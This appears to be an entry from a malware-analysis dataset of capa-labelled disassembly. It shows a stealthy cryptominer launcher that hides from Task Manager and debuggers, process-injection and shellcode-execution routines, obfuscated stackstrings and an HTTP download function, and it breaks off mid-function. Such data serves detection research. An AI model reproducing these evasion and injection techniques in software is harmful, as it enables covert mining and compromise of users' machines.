joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014d9
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3e8], rdx
mov qword [rbp + 0x3f0], r8
lea rax, [rbp - 0x50]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
test eax, eax
je 0x14000153a
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0xc0]
lea r8, str.VisualFeatures.exe
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathCombineA]
call rax
test rax, rax
jne 0x140001566
lea rax, [rbp + 0xc0]
mov r9d, 0
mov r8, rax
mov edx, 0x104
lea rax, str.VisualFeatures.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
call rax
test eax, eax
je 0x1400015e2
mov rcx, qword [rbp + 0x3e0]
lea rax, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x3f0]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x3e8]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._o__s___pass__s___rig_id__s___tls__b
mov edx, 0x200
mov rcx, rax
call fcn.140002ad0
lea rdx, [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
jmp 0x1400015e3
nop
add rsp, 0x450
pop rbp
ret

Function at 0x1400015ec
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x140001649
mov eax, 0
jmp 0x1400016cb
mov byte [rbp + 0xdf], 0
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0xd8], eax
jmp 0x1400016a8
mov rdx, qword [rbp + 0x100]
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000168f
mov byte [rbp + 0xdf], 1
jmp 0x1400016b1
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
mov dword [rbp + 0xd8], eax
cmp dword [rbp + 0xd8], 0
jne 0x14000166b
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
movzx eax, byte [rbp + 0xdf]
add rsp, 0x168
pop rdi
pop rbp
ret
Function at 0x14000175f
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
call fcn.140001aa0
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x140001790
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
movzx eax, byte [0x140003018]
movzx eax, al
mov r8d, eax
mov edx, 0x18
lea rax, str.sewcrt
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x140], rax
cmp qword [rbp + 0x140], 0
jne 0x1400017d0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [rbp + 0xd0]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rax, [rbp + 0x100]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x100]
mov rcx, qword [rbp + 0x140]
mov r8, rdx
mov rdx, rax
call fcn.1400014d9
mov byte [rbp + 0x14f], 1
lea rax, str.Taskmgr.exe
mov rcx, rax
call fcn.1400015ec
test al, al
jne 0x140001849
lea rax, str.perfmon.exe
mov rcx, rax
call fcn.1400015ec
test al, al
je 0x140001965
cmp byte [rbp + 0x14f], 0
je 0x1400019b0
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0xffffffffffffffff
je 0x1400019b0
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x138]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
mov dword [rbp + 0x148], eax
jmp 0x14000193c
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.VisualFeatures.exe
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001923
mov eax, dword [rbp - 0x58]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x130], rax
cmp qword [rbp + 0x130], 0
je 0x140001923
mov rax, qword [rbp + 0x130]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x130]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0x138]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
mov dword [rbp + 0x148], eax
cmp dword [rbp + 0x148], 0
jne 0x1400018b3
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov byte [rbp + 0x14f], 0
jmp 0x1400019b0
movzx eax, byte [rbp + 0x14f]
xor eax, 1
test al, al
je 0x1400019b1
lea rax, [rbp + 0x100]
mov edx, 0x25
mov rcx, rax
call fcn.1400016d5
lea rdx, [rbp + 0xd0]
lea rax, [rbp + 0x100]
mov rcx, qword [rbp + 0x140]
mov r8, rdx
mov rdx, rax
call fcn.1400014d9
mov byte [rbp + 0x14f], 1
jmp 0x1400019b1
nop
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000181f
Function at 0x140001cb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002ab0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140001d20
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001e50
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001d6b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001df5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001d50
mov rcx, rbx
call fcn.140002790
test rax, rax
mov rdi, rax
je 0x140001e72
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400028d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e57
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001dee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e00
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001dee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001cb0
nop dword [rax]
xor esi, esi
jmp 0x140001d78
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001cb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001cb0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1400023e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000243c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002433
test rsi, rsi
je 0x140002433
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002418
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002688
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002690
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002688
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002690
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002670
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002688
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002690
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002790
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004430]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000280d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002804
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400027b0
add rax, 0x28
cmp rax, r9
jne 0x1400027f0
xor eax, eax
ret

Function at 0x140002810
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000282f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002838
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000282f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x1400028d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004430]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180002720
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov r13d, 0x3e7bb0
mov edi, 1
mov dword [rbp + 0x30], r13d
xor ebx, ebx
mov eax, dword [rbp + 0x30]
mov edx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
lea r12d, [rdi + 2]
add edx, dword [rbp + 0x30]
imul eax, edx
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov edx, dword [rbp + 0x30]
add ecx, edx
imul eax, ecx
mov dword [0x180012014], 0x10
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, edx
imul eax, ecx
mov dword [0x180012010], 0x200
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, edx
imul eax, ecx
cmp dword [0x180012014], ebx
mov dword [rbp + 0x30], eax
jbe 0x1800028b9
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, ebx
imul eax, ecx
mov ecx, ebx
mov dword [rbp + 0x30], eax
call section..text
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, ebx
imul eax, ecx
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, ebx
imul eax, ecx
lea rcx, [rbp - 0x20]
mov dword [rbp + 0x30], eax
mov byte [rbp - 0x20], 0x47
mov byte [rbp - 0x1f], 0x54
mov byte [rbp - 0x1e], 0x54
mov byte [rbp - 0x1d], 0x78
mov byte [rbp - 0x1c], 0x7b
mov byte [rbp - 0x1b], r12b
mov byte [rbp - 0x1a], 0xa
mov byte [rbp - 0x19], 0x2d
mov byte [rbp - 0x18], 0x70
mov byte [rbp - 0x17], 0x7b
mov byte [rbp - 0x16], 0x69
mov byte [rbp - 0x15], 0x3c
mov byte [rbp - 0x14], 0x7b
mov byte [rbp - 0x13], 0x69
mov byte [rbp - 0x12], 0x77
mov byte [rbp - 0x11], 0x7b
mov byte [rbp - 0x10], 0x69
mov byte [rbp - 0xf], 0x57
mov al, byte [rbp - 0x20]
mov byte [rbp - 0xe], 0
call fcn.1800028ec
mov edx, dword [0x18000e004]
mov r8, rax
mov rcx, qword [0x180012018]
call fcn.1800060e0
mov dword [rbp + 0x30], r13d
mov edx, eax
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
add eax, ebx
imul ecx, eax
mov dword [rbp + 0x30], ecx
mov dword [rbp + 0x30], r13d
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, ebx
imul eax, ecx
mov dword [rbp + 0x30], eax
test edx, edx
je 0x1800028b9
add ebx, edi
cmp ebx, dword [0x180012014]
jb 0x1800027c8
mov dword [rbp + 0x30], r13d
lea r11, [rsp + 0x40]
mov eax, dword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov eax, dword [rbp + 0x30]
add ecx, ebx
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
imul eax, ecx
mov dword [rbp + 0x30], eax
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x180004a90
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rsi
mov rdx, rcx
mov esi, 0x3e7bb0
mov dword [rsp + 8], esi
mov eax, dword [rsp + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 8]
add ecx, edx
imul eax, ecx
mov dword [rsp + 8], eax
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x180004b21
mov dword [rsp + 8], esi
mov eax, dword [rsp + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 8]
add ecx, edx
movsxd r8, dword [rdx + 0x3c]
imul eax, ecx
add r8, rdx
mov dword [rsp + 8], eax
mov dword [rsp + 8], esi
mov eax, dword [rsp + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 8]
add ecx, r8d
imul eax, ecx
cmp dword [r8], 0x4550
mov dword [rsp + 8], eax
jne 0x180004b21
mov dword [rsp + 8], esi
mov eax, dword [rsp + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 8]
add ecx, edx
imul eax, ecx
mov dword [rsp + 8], eax
mov rax, r8
jmp 0x180004b3c
mov dword [rsp + 8], esi
mov eax, dword [rsp + 8]
mov ecx, dword [rsp + 8]
mov eax, dword [rsp + 8]
add ecx, edx
imul eax, ecx
mov dword [rsp + 8], eax
xor eax, eax
mov rsi, qword [rsp + 0x10]
ret
Function at 0x62a81494
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
lea rax, [rbp - 0x80]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp - 0xa0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x80], 0x68
mov dword [rbp - 0x44], 1
mov word [rbp - 0x40], 0
mov rax, qword [rbp + 0x20]
lea rdx, [rbp - 0xa0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x62a81556
mov eax, 0
jmp 0x62a816eb
mov rax, qword [rbp - 0xa0]
mov rdx, qword [rbp + 0x18]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x62a815b0
mov rax, qword [rbp - 0xa0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0
jmp 0x62a816eb
mov rax, qword [rbp - 0xa0]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x62a81624
mov rax, qword [rbp - 0xa0]
mov rdx, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0xa0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0
jmp 0x62a816eb
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0xa0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x62a816b0
mov rax, qword [rbp - 0xa0]
mov rdx, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0xa0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 0
jmp 0x62a816eb
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0xf0
pop rbp
ret
Function at 0x62a816f4
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
mov eax, 0x1060
call fcn.62a82dd0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xff0], rcx
mov qword [rbp + 0xff8], rdx
mov qword [rbp + 0x1000], r8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.VtGNu69
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xfd8], rax
cmp qword [rbp + 0xfd8], 0
jne 0x62a81763
mov eax, 0
jmp 0x62a81915
mov rax, qword [rbp + 0xfd8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0xff0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfd0], rax
cmp qword [rbp + 0xfd0], 0
jne 0x62a817c8
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
jmp 0x62a81915
mov dword [rbp - 0x44], 0
mov rax, qword [rbp + 0x1000]
mov qword [rax], 0
mov rax, qword [rbp + 0xff8]
mov qword [rax], 0
jmp 0x62a818ac
mov rax, qword [rbp + 0x1000]
mov rax, qword [rax]
mov edx, dword [rbp - 0x44]
mov edx, edx
add rax, rdx
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xfc8], rax
mov rax, qword [rbp + 0xff8]
mov rax, qword [rax]
test rax, rax
je 0x62a81858
mov rax, qword [rbp + 0x1000]
mov rcx, qword [rax]
mov rax, qword [rbp + 0xff8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xfc8]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0xff8]
mov rax, qword [rax]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp - 0x44]
mov r8d, eax
mov rax, qword [rbp + 0x1000]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xfc8]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x40]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0xff8]
mov rdx, qword [rbp + 0xfc8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x1000]
mov rax, qword [rax]
mov edx, dword [rbp - 0x44]
mov edx, edx
add rdx, rax
mov rax, qword [rbp + 0x1000]
mov qword [rax], rdx
lea rcx, [rbp - 0x44]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0xfd0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x62a818df
mov eax, dword [rbp - 0x44]
test eax, eax
jne 0x62a817f0
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x1000]
mov rax, qword [rax]
test rax, rax
setne al
add rsp, 0x1060
pop rbp
ret

Function at 0x62a81da0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.62a83030
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.62a83030
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x62a81e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x62a885e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x62a81fb8
mov rax, qword [0x62a885e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x62a81e5c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x62a81ee7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x62a81e40
mov rcx, r12
call fcn.62a82b10
mov rbp, rax
test rax, rax
je 0x62a81ff2
mov rax, qword [0x62a885e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.62a82c40
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x62a885e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x62a82001
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x62a81ee0
sub eax, 4
and eax, 0xfffffffb
jne 0x62a81f70
add dword [0x62a885e4], 1
cmp ebx, 8
jae 0x62a81f18
test bl, 4
jne 0x62a81fc0
test ebx, ebx
je 0x62a81f09
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x62a81fe0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x62a81f09
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x62a81f4a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x62a885e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
